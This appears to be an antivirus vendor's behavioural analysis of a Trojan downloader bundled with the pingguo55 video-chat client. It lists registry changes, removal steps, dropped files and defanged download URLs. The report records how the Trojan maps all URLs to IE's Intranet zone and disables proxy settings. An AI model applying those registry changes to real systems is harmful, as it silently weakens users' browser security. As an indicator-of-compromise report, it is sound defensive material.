[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"UninstallString" = "%Program Files%\pingguo55\uninst.exe"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\pingguo55.exe]
"(Default)" = "%Program Files%\pingguo55\pingguo55.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus]
"(Default)" = "0"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\MiscStatus\1]
"(Default)" = "197009"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCR\CLSID\{13F896BE-CF0E-4D41-8C0E-D2A589AC3937}\InprocServer32]
"(Default)" = "C:\PROGRA~1\PINGGU~1\CHATRO~1.OCX"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\BaDu\Pcd]
"pcode" = "61 B8 F4 90 5F D6 3A F9 34 FA 67 9A 87 00 6E 81"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Æ»¹ûÊÓƵÉçÇø-2014Beta3.6.2]
"URLInfoAbout" = "http://www.pingguo55.com"
"StartMenuDir" = "Æ»¹ûÊÓƵÉçÇø"

[HKCR\Interface\{C43891FE-B7B4-4C2F-BC88-BE5D5E6A2A5F}\ProxyStubClsid]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

The process ServiceClient.e:548 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA A2 F7 B7 63 A6 92 DC 6D 3D 8C 72 0A D7 8D E9"

The process %original file name%.exe:2040 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "26 FB D5 53 8C 02 3D C0 D5 8F 3F 90 45 98 2B C9"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process girlshow_22000025816.exe:2024 makes changes in the system registry.


The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1F 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 1D 9F 83 D5 4B FF 1F 27 3A 28 80 45 77 E3 D8"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\pingguo55\Install]
"pingguo.exe" = "pingguo"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
c4ade0ffabd2193dd204a3c6952873e7c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\girlshow_22000025816.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    ResideClient.exe:652
    net1.exe:604
    ServiceClient.exe:704
    net.exe:516
    pingguo.exe:304
    ServiceClient.e:548
    %original file name%.exe:2040
    girlshow_22000025816.exe:2024

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\All Users\Application Data\GuaGua\Service\service.dat (23 bytes)
    %Documents and Settings%\Default User\Local Settings\Temp\Temppc.bak (96 bytes)
    %Documents and Settings%\%current user%\Cookies\index.dat (1060 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@guagua[1].txt (194 bytes)
    %WinDir%\msgpi.log (48 bytes)
    %WinDir%\gsyspd.log (96 bytes)
    %Program Files%\pingguo55\avutil-52.dll (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\Config.ini (51 bytes)
    %Program Files%\pingguo55\RecommendInfo.dll (5064 bytes)
    %Program Files%\pingguo55\UIToolTip.dll (5520 bytes)
    %Program Files%\pingguo55\ChatRoom\CapSreen.dll (1856 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E6666.png (8184 bytes)
    %Program Files%\pingguo55\ResideClient.exe (9608 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\3.png (5 bytes)
    %Program Files%\pingguo55\ChatRoom\data\QueenLeave.wav (16424 bytes)
    %Program Files%\pingguo55\RtpStack.DLL (8184 bytes)
    %Program Files%\pingguo55\ServiceClient.exe (4992 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\VideoBack.bmp (6360 bytes)
    %Program Files%\pingguo55\MFC71u.dll (33391 bytes)
    %Program Files%\pingguo55\data\HTML\img\wrong.gif (995 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goodscat.dat (11 bytes)
    %Program Files%\pingguo55\GGOle.dll (2392 bytes)
    %Program Files%\pingguo55\IconToolTip.exe (11048 bytes)
    %Program Files%\pingguo55\ServiceClient.dll (3616 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\rescate.dat (2 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\VideoBack_4_3.bmp (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\data\heaven_bk.gif (7192 bytes)
    %Program Files%\pingguo55\ChatRoom\UIToolTip.dll (17848 bytes)
    %Program Files%\pingguo55\Skin\LoadHtml\images\bj_2.jpg (1 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\GGExit.exe (1856 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E521.swf (784 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\EquipFile.dat (784 bytes)
    %Program Files%\pingguo55\Skin\LoadHtml\css\style.css (1 bytes)
    %Program Files%\pingguo55\ChatRoom\data\GiftWizzard_small.swf (5064 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\dice.gif (7 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodscat.dat (2 bytes)
    %Program Files%\pingguo55\data\quickSign.swf (2392 bytes)
    %Program Files%\pingguo55\ChatRoom\data\6.gif (14 bytes)
    %Program Files%\pingguo55\ChatRoom\data\AudioEffect1.WAV (784 bytes)
    %Program Files%\pingguo55\ChatRoom\data\4.gif (12 bytes)
    %Program Files%\pingguo55\ChatRoom\data\10.gif (784 bytes)
    %Program Files%\pingguo55\VideoCapture.dll (6360 bytes)
    %Program Files%\pingguo55\data\HTML\img\lock_op.gif (1 bytes)
    %Program Files%\pingguo55\Update.exe (9608 bytes)
    %Program Files%\pingguo55\data\IllWord.dat (3 bytes)
    %Program Files%\pingguo55\data\LgsDatacfg.dat (128 bytes)
    %Program Files%\pingguo55\ChatRoom\data\FlowerData.dat (13 bytes)
    %Program Files%\pingguo55\data\HTML\img\cc.png (2 bytes)
    %Program Files%\pingguo55\uninst.exe (5659 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\goods.dat (30968 bytes)
    %Program Files%\pingguo55\data\HTML\img\signloading_top.jpg (7 bytes)
    %Program Files%\pingguo55\AudioCapture.dll (4992 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E188.png (6584 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E999.png (11048 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\1.png (4 bytes)
    %Program Files%\pingguo55\Skin\DefFace.bmp (3 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsr3.tmp\System.dll (10 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\gift_sel_icon.png (1 bytes)
    %Program Files%\pingguo55\data\HTML\img\liebiao_di_on.gif (1 bytes)
    %Program Files%\pingguo55\ImageScale.dll (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\data\11.gif (1552 bytes)
    %Program Files%\pingguo55\Æ»¹ûÊÓƵÉçÇø.url (50 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\ResFile.dat (2392 bytes)
    %Program Files%\pingguo55\data\HTML\img\lock_cl.gif (1 bytes)
    %Program Files%\pingguo55\gdiplus.dll (49631 bytes)
    %Program Files%\pingguo55\data\HTML\img\lock_op.png (3 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\6.png (6 bytes)
    %Program Files%\pingguo55\ChatRoom\data\LuckyGift500.swf (5520 bytes)
    %Program Files%\pingguo55\ChatRoom\data\2.gif (13 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E9999.xml (2 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E99.swf (784 bytes)
    %Program Files%\pingguo55\msvcr71.dll (12088 bytes)
    %Program Files%\pingguo55\Skin\Alarm.png (4 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E6666.swf (784 bytes)
    %Program Files%\pingguo55\data\HTML\img\right.gif (540 bytes)
    %Program Files%\pingguo55\VideoDecode2.dll (32824 bytes)
    %Program Files%\pingguo55\data\HTML\img\button_left.gif (1 bytes)
    %Program Files%\pingguo55\data\HTML\js\EvPng.js (8 bytes)
    %Program Files%\pingguo55\Skin\MercuryEquipCenterSkin.ggs (15168 bytes)
    %Program Files%\pingguo55\msvcp71.dll (16944 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E999.xml (2 bytes)
    %Program Files%\pingguo55\ChatRoom\data\HitEggs.swf (42762 bytes)
    %Program Files%\pingguo55\ChatRoom\VolumeCtrl.dll (5520 bytes)
    %Program Files%\pingguo55\AudioDecodec3.dll (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\0.png (5 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\Alarm.png (4 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoods.dat (23296 bytes)
    %Program Files%\pingguo55\Skin\DefFace_21.bmp (1 bytes)
    %Program Files%\pingguo55\ChatRoom\data\SignButton.gif (784 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\DefFace.bmp (3 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E9999.swf (784 bytes)
    %Program Files%\pingguo55\ChatRoom\data\5.gif (13 bytes)
    %Program Files%\pingguo55\VideoEncode2.dll (19152 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\PointToPoint.bmp (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E99.png (3312 bytes)
    %Program Files%\pingguo55\ChatRoom\VcrMediaLib.dll (11048 bytes)
    %Program Files%\pingguo55\Skin\MercuryUpdateSkin.ggs (10 bytes)
    %Program Files%\pingguo55\ChatRoom\data\bigred.swf (6584 bytes)
    %Program Files%\pingguo55\GGPlayerInstaller.exe (1552 bytes)
    %Program Files%\pingguo55\ChatRoom\data\GiftWizzard_big.swf (5520 bytes)
    %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\fingerguessing.gif (7 bytes)
    %Program Files%\pingguo55\Skin\default_female.png (15 bytes)
    %Program Files%\pingguo55\Skin\MercuryChatHallSkin.ggs (247423 bytes)
    %Program Files%\pingguo55\Skin\LoadHtml\images\jx_sm.gif (381 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\MercuryChatRoom.ggs (147801 bytes)
    %Program Files%\pingguo55\ggplayerDownload.ini (63 bytes)
    %Program Files%\pingguo55\data\Update.dat (81 bytes)
    %Program Files%\pingguo55\Skin\VideoBack.bmp (6360 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\worldBugleIcon.gif (784 bytes)
    %Program Files%\pingguo55\data\CommonConfig.ini (458 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\flash.swf (3616 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E9999.png (12024 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\VideoBackMercury.bmp (2392 bytes)
    %Program Files%\pingguo55\data\HTML\img\liebiao_di.gif (1 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\gift_del_icon.png (1 bytes)
    %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\2.png (5 bytes)
    %Program Files%\pingguo55\ChatRoom\data\QueenEnter.wav (21216 bytes)
    %Program Files%\pingguo55\data\HTML\css\news.css (2 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\res.dat (3312 bytes)
    %Program Files%\pingguo55\EncWmv.dll (8184 bytes)
    %Program Files%\pingguo55\data\HTML\img\signloading_main.jpg (784 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E999.swf (784 bytes)
    %Program Files%\pingguo55\ChatRoom\data\7.gif (15 bytes)
    %Program Files%\pingguo55\Pingguo55.exe (71670 bytes)
    %Program Files%\pingguo55\ChatRoom\data\KingLeave.wav (19152 bytes)
    %Program Files%\pingguo55\Skin\LoadHtml\jz_bbx.html (450 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\PrivteMic.bmp (4992 bytes)
    %Program Files%\pingguo55\data\common.dat (24 bytes)
    %Program Files%\pingguo55\data\HTML\img\aa.png (3 bytes)
    %Program Files%\pingguo55\ChatRoom\ChatRoomClient.dll (10136 bytes)
    %Documents and Settings%\%current user%\Desktop\Æ»¹ûÊÓƵÉçÇø.lnk (762 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E99.xml (2 bytes)
    %Program Files%\pingguo55\ChatRoom\ChatRoomUI.dll (72992 bytes)
    %Program Files%\pingguo55\data\HTML\img\button.png (3 bytes)
    %Program Files%\pingguo55\ChatRoomUI.ocx (1552 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\жÔØÆ»¹ûÊÓƵÉçÇø.lnk (581 bytes)
    %Program Files%\pingguo55\ChatRoom\data\3.gif (784 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E521.xml (2 bytes)
    %Program Files%\pingguo55\ChatRoom\data\fingerGuessing\1.png (5 bytes)
    %Program Files%\pingguo55\data\Spread.dat (112 bytes)
    %Documents and Settings%\%current user%\Start Menu\Programs\Æ»¹ûÊÓƵÉçÇø\Æ»¹ûÊÓƵÉçÇø.lnk (774 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E521.png (6584 bytes)
    %Program Files%\pingguo55\data\HTML\signloading.html (1 bytes)
    %Program Files%\pingguo55\data\HTML\img\no_pic.jpg (1552 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resfileinfo.dat (16288 bytes)
    %Program Files%\pingguo55\data\HTML\img\bb.png (2 bytes)
    %Program Files%\pingguo55\Skin\default_male.png (15 bytes)
    %Program Files%\pingguo55\ChatRoom\data\smallred.swf (5064 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E188.xml (1 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\5.png (5 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\4.png (5 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\VideoBack_16_9.bmp (8560 bytes)
    %Program Files%\pingguo55\data\FlowerData.dat (13 bytes)
    %Program Files%\pingguo55\DnsSession.dll (8560 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\nsb2.tmp (918876 bytes)
    %Program Files%\pingguo55\ChatRoom\data\1.gif (784 bytes)
    %Program Files%\pingguo55\ChatRoom\data\dice\2.png (4 bytes)
    %Program Files%\pingguo55\ResCenter.dll (5520 bytes)
    %Program Files%\pingguo55\ChatRoom\data\QuickRegBorder.swf (1 bytes)
    %Program Files%\pingguo55\crashreport.dll (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E1314.png (8560 bytes)
    %Program Files%\pingguo55\ChatRoom\data\8.gif (2392 bytes)
    %Program Files%\pingguo55\ChatRoom\data\9.gif (784 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E6666.xml (2 bytes)
    %Program Files%\pingguo55\Install.ini (287 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E188.swf (784 bytes)
    %Program Files%\pingguo55\AudioCodec3.dll (10136 bytes)
    %Program Files%\pingguo55\Config.ini (67 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E1314.swf (784 bytes)
    %Program Files%\pingguo55\ChatRoom\data\GiftPack.swf (784 bytes)
    %Program Files%\pingguo55\data\HTML\img\freeze.gif (615 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\FlashShow.exe (5520 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Res\resillegalword.dat (920 bytes)
    %Program Files%\pingguo55\ChatRoom\data\KingEnter.wav (25824 bytes)
    %Documents and Settings%\%current user%\Application Data\Pingguo55\Res\Equip\basegoodsfileinfo.dat (23424 bytes)
    %Program Files%\pingguo55\EquipCenter.dll (23424 bytes)
    %Program Files%\pingguo55\data\HTML\img\lock_cl.png (3 bytes)
    %Program Files%\pingguo55\data\addrs.dat (784 bytes)
    %Program Files%\pingguo55\ChatRoom\skin\runway_gift.gif (4 bytes)
    %Program Files%\pingguo55\Skin\DefSendedStarGift.gif (1 bytes)
    %Program Files%\pingguo55\Skin\LoadHtml\images\jz_icon.gif (821 bytes)
    %Program Files%\pingguo55\data\HTML\img\close.gif (395 bytes)
    %Program Files%\pingguo55\ChatRoom\Flash\E1314.xml (2 bytes)
    %Program Files%\pingguo55\Skin\DefFace_16.bmp (824 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@re58[1].txt (604 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\z.ico (3 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@re58[2].txt (277 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe (28288 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\girlshow_22000025816.exe (33391 bytes)
    %Program Files%\pingguo55\Install\pingguo.exe.ggd (471123 bytes)
    %Documents and Settings%\%current user%\Cookies\Current_User@pingguo55[1].txt (200 bytes)
    %Program Files%\pingguo55\Install\pingguo.exe.ggb (905907 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name: Client ????
Product Version: 1, 0, 0, 1
Legal Copyright: ???? (C) 2015
Legal Trademarks:
Original Filename: Client.EXE
Internal Name: Client
File Version: 1, 0, 0, 1
File Description: Client
Comments:
Language: English (United States)

Company Name: Product Name: Client ????Product Version: 1, 0, 0, 1Legal Copyright: ???? (C) 2015Legal Trademarks: Original Filename: Client.EXEInternal Name: ClientFile Version: 1, 0, 0, 1File Description: ClientComments: Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text409626366286724.3134655efe067d319de62776be6d50a80e36
.rdata32768639881922.83794a3f51aa89124eda1a6fc6391555d4d12
.data40960128040961.25368c66704c110f453d23bd9c04fe961823f
.rsrc45056129433612943365.3337815fc8ef72021402ef0f2b1ecf280e82a

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://qiniunor.xdwscache.glb0.lxdns.com/z.ico?832187
hxxp://newplay.aliapp.com/Count/Index42.120.217.94
hxxp://qiniunor.xdwscache.glb0.lxdns.com/tc.html
hxxp://all.cnzz.com.danuoyi.tbcache.com/stat.php?id=5887135&web_id=5887135
hxxp://1st.ecoma.glb0.lxdns.com/c/girlshow_22000025816.exe
hxxp://oz.cnzz.com/stat.htm?id=5887135&r=&lg=en-us&ntime=none&cnzz_eid=1987065364-1430088506-&showp=1276x846&t=&h=1&rnd=1967005646198.11.132.200
hxxp://all.cnzz.com.danuoyi.tbcache.com/core.php?web_id=5887135&t=z
hxxp://xnop027.tlgslb.com/re58/girlshow_22000025816.exe
hxxp://js.users.51.la/17440728.js222.187.225.125
hxxp://cnzz.mmstat.com/9.gif?abc=1&rnd=146291907842.120.219.171
hxxp://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js180.149.136.219
hxxp://cnzz.mmstat.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL42.120.219.171
hxxp://newplay.aliapp.com/Count/Index/soft/42.120.217.94
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoad.do
hxxp://1st.ecoma.glb0.lxdns.com/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816
hxxp://gnop008.tlgslb.com/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe
hxxp://cj.pingguo55.com/downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393115.231.176.253
hxxp://img001.com/business/5/pingguo.exe36.250.9.8
hxxp://img001.com/tg_pic/lunbo1.png36.250.9.8
hxxp://cj.pingguo55.com/downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393115.231.176.253
hxxp://img001.com/tg_pic/mobo.png36.250.9.8
hxxp://c.cnzz.com/core.php?web_id=5887135&t=z195.27.31.246
hxxp://umcdn.uc.cn/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe116.10.187.112
hxxp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL42.120.219.171
hxxp://download.re58.cn/c/girlshow_22000025816.exe203.130.61.92
hxxp://dl.ntfst.cn/tc.html183.136.217.66
hxxp://downloader.re58.cn/downcontainer/downLoad.do203.130.61.92
hxxp://c.img001.com/re58/girlshow_22000025816.exe112.67.255.202
hxxp://dl.jmfo.cn/z.ico?832187183.136.217.66
